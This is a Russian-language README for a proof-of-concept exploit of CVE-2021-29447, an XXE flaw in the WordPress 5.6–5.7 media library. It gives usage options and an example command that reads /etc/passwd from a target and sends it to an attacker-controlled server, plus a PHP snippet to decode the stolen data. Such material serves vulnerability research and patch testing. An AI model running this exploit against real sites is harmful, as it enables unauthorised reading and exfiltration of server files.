
Эксплойт для проверки концепции уязвимости медиа-библиотеки WordPress 5.6.
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Написано (Isa Ebrahim - 0xRar) в январе 2023
═══════════════════════════════════════════════════════════════════════════
[*] Название: Уязвимость XML-парсинга в WordPress Media Library, приводящая к XXE
[*] Затронутые версии: Wordpress 5.6 - 5.7
[*] Исправленная версия: Wordpress 5.7.1
[*] Версия установки: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: Пользователь, имеющий возможность загружать файлы (например, автор), может использовать проблему XML-парсинга в Медиатеке, что приводит к XXE-атакам. Для этого требуется установка WordPress с использованием PHP 8. В случае успешной XXE-атаки возможен доступ к внутренним файлам. Эта уязвимость исправлена в WordPress версии 5.7.1, а также в более старых затронутых версиях через минорный выпуск.
Этот скрипт легко понять и запустить, он автоматизирует шаги, необходимые для эксплуатации XXE-атаки на медиатеку WordPress.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help показать это справочное сообщение и выйти
-l LHOST, --lhost LHOST IP-адрес вашего сервера, например 10.0.2.15
-p PORT, --port PORT порт вашего сервера, например 1337
-f FILE, --file FILE системный файл для чтения, например /etc/passwd
Пример:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
Для декодирования base64 используйте/запустите следующий фрагмент PHP:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php